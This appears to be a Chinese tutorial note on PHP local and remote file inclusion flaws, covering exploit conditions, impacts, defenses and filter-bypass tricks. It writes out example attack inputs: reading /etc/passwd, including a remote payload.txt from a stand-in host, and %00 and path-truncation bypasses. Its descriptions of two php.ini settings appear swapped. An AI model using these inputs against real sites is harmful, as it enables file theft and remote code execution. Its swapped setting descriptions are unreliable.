漏洞原理
文件包含函数加载的参数没有经过过滤或严格的定义,可以被用户控制,包含了其他恶意文件,导致执行了非预期的代码。
PHP文件包含函数
include()
include_once()
require()
require_once()
文件包含漏洞分类
本地文件包含
当包含的文件在服务器本地时,就形成了本地文件包含。
如:index.php?file=/etc/passwd
远程文件包含
当包含的文件在远程服务器上时,就形成了远程文件包含。
如:index.php?file=http://192.168.70.7/payload.txt
利用条件:
php.ini中allow_url_include = on
是否允许打开远程文件
php.ini中allow_url_fopen = on
是否允许include、require远程文件
所包含远程服务器的文件后缀不能与目标服务器语言相同。(比如目标网站服务器是PHP脚本语言解析的,那么包含的远程服务器文件后缀不能是php)
漏洞危害
获取系统敏感信息
任意篡改网页信息
攻击其他服务器
防御方案
过滤. / \等特殊字符
日志、配置等重要文件夹不给执行权限
尽量不要将文件包含函数对应的文件放给前端选择和操作
使用open_basedir配置限制能够访问的区域
配置php.ini文件
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
设置白名单,仅允许包含指定的文件
绕过手段
URL编码
如果WAF中是字符串匹配,可以使用URL多次编码的方式绕过。
结尾添加特殊字符
某些情况下,读文件支持使用Shell通配符,如?* 空格等可能会影响include包含的结果。有时Unicode编码不同但字形相近的字符也有同样的效果。
路径长度截断
Windows:目录最大长度256字节,超出的部分将会丢弃
Linux:目录最大长度4096字节,超出的部分将会丢弃
如:index.php?file=payload.txt/./././././././././././././././././././(省略)
这种绕过方式要求php版本<5.2.8
%00截断(绕过后端拼接后缀)
index.php?file=payload.txt%00
条件:PHP版本<5.3.4、PHP magic_quotes_gpc = off
如果开启了gpc或者使用了addslashes函数则会进行转义
点号截断
条件:Windows,点好需要长于256
如:index.php?file=payload.txt...............................................(省略)
协议绕过
allow_url_include、allow_url_fopen主要是针对HTTP、FTP两种协议起作用,因此可以使用SMB、WebDAV协议等方式绕过。
伪协议绕过
要求:allow_url_include = on、allow_url_fopen = on